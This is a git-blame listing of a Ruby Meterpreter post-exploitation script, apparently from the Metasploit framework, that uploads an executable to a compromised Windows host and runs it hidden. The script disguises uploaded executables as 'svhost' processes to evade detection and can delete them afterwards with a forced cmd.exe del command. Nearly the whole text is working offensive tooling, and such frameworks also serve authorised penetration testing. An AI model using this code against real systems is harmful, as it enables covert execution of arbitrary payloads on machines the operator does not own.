2009-07-24 18:26:38 +00:00
|
|
|
session = client
|
|
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
|
|
|
"-h" => [ false,"Help menu." ],
|
|
|
|
"-e" => [ true, "Executable or script to upload to target host."],
|
|
|
|
"-o" => [ true,"Options for executable."],
|
|
|
|
"-p" => [ false,"Path on target where to upload executable if none given %TEMP% directory will be used."],
|
2009-07-24 23:41:07 +00:00
|
|
|
"-v" => [ false,"Verbose, return output of execution of uploaded executable."],
|
|
|
|
"-r" => [ false,"Remove executable after running by deleting it of the file system."]
|
2009-07-24 18:26:38 +00:00
|
|
|
)
|
|
|
|
################## function declaration Declarations ##################
|
|
|
|
def usage()
|
|
|
|
print(
|
|
|
|
"Uploadexec Meterpreter Script\n" +
|
|
|
|
"It has the functionality to upload a desired executable or script and execute\n"+
|
|
|
|
"the file uploaded"
|
|
|
|
)
|
|
|
|
puts "\n\t-h \t\tHelp menu."
|
|
|
|
puts "\t-e <opt> \tExecutable or script to upload to target host"
|
|
|
|
puts "\t-o <opt> \tOptions for executable"
|
|
|
|
puts "\t-p <opt> \tPath on target where to upload executable if none given %TEMP% directory will be used"
|
|
|
|
puts "\t-v \tVerbose, return output of execution of uploaded executable."
|
2009-07-24 23:41:07 +00:00
|
|
|
puts "\t-r \tRemove executable after running by deleting it of the file system."
|
2009-07-24 18:26:38 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
def upload(session,file,trgloc = "")
|
|
|
|
if not ::File.exists?(file)
|
|
|
|
raise "File to Upload does not exists!"
|
|
|
|
else
|
2009-07-24 23:41:07 +00:00
|
|
|
if trgloc == ""
|
2009-07-24 18:26:38 +00:00
|
|
|
location = session.fs.file.expand_path("%TEMP%")
|
|
|
|
else
|
|
|
|
location = trgloc
|
|
|
|
end
|
|
|
|
begin
|
|
|
|
ext = file.scan(/\S*(.exe)/i)
|
2009-07-24 23:41:07 +00:00
|
|
|
if ext.join == ".exe"
|
2009-07-24 18:26:38 +00:00
|
|
|
fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
|
|
|
|
else
|
|
|
|
fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}"
|
|
|
|
end
|
2009-07-24 23:41:07 +00:00
|
|
|
print_status("\tUploading #{file}....")
|
2009-07-24 18:26:38 +00:00
|
|
|
session.fs.file.upload_file("#{fileontrgt}","#{file}")
|
2009-07-24 23:41:07 +00:00
|
|
|
print_status("\t#{file} uploaded!")
|
|
|
|
print_status("\tUploaded as #{fileontrgt}")
|
2009-07-24 18:26:38 +00:00
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error uploading file #{file}: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return fileontrgt
|
|
|
|
end
|
|
|
|
#Function for executing a list of commands
|
|
|
|
def cmd_exec(session,cmdexe,opt,verbose)
|
|
|
|
r=''
|
|
|
|
session.response_timeout=120
|
|
|
|
if verbose == 1
|
|
|
|
begin
|
2009-07-24 23:41:07 +00:00
|
|
|
print_status "\tRunning command #{cmdexe}"
|
2009-07-24 18:26:38 +00:00
|
|
|
r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => true})
|
|
|
|
while(d = r.channel.read)
|
|
|
|
|
|
|
|
prin_status("\t#{d}")
|
|
|
|
end
|
|
|
|
r.channel.close
|
|
|
|
r.close
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error Running Command #{cmd}: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
begin
|
|
|
|
print_status "\trunning command #{cmdexe}"
|
|
|
|
r = session.sys.process.execute(cmdexe, opt, {'Hidden' => true, 'Channelized' => false})
|
|
|
|
r.close
|
|
|
|
rescue ::Exception => e
|
|
|
|
print_status("Error Running Command #{cmd}: #{e.class} #{e}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2009-07-24 23:41:07 +00:00
|
|
|
def m_unlink(session, path)
|
|
|
|
r = session.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
|
|
|
|
while(r.name)
|
|
|
|
select(nil, nil, nil, 0.10)
|
|
|
|
end
|
|
|
|
r.close
|
|
|
|
end
|
2009-07-24 18:26:38 +00:00
|
|
|
#parsing of Options
|
|
|
|
file = ""
|
|
|
|
cmdopt = ""
|
|
|
|
helpcall = 0
|
|
|
|
path = ""
|
2009-07-24 23:41:07 +00:00
|
|
|
verbose = 0
|
|
|
|
remove = 0
|
2009-07-24 18:26:38 +00:00
|
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
|
|
|
|
when "-e"
|
|
|
|
file = val
|
|
|
|
when "-o"
|
|
|
|
cmdopt = val
|
|
|
|
when "-p"
|
|
|
|
path = val
|
|
|
|
when "-v"
|
|
|
|
verbose = 1
|
|
|
|
when "-h"
|
|
|
|
helpcall = 1
|
2009-07-24 23:41:07 +00:00
|
|
|
when "-r"
|
|
|
|
remove = 1
|
2009-07-24 18:26:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
}
|
2009-10-12 23:42:50 +00:00
|
|
|
|
|
|
|
if helpcall == 0 and file != ""
|
2009-07-24 23:41:07 +00:00
|
|
|
print_status("Running Upload and Execute Meterpreter script....")
|
2009-07-24 18:26:38 +00:00
|
|
|
exec = upload(session,file,path)
|
2009-07-24 23:41:07 +00:00
|
|
|
cmd_exec(session,exec,cmdopt,verbose)
|
|
|
|
if remove == 1
|
|
|
|
print_status("\tDeleting #{exec}")
|
|
|
|
m_unlink(session, exec)
|
|
|
|
end
|
|
|
|
print_status("Finnished!")
|
2009-10-12 23:42:50 +00:00
|
|
|
elsif helpcall == 1 or file == ""
|
2009-07-24 18:26:38 +00:00
|
|
|
usage()
|
|
|
|
end
|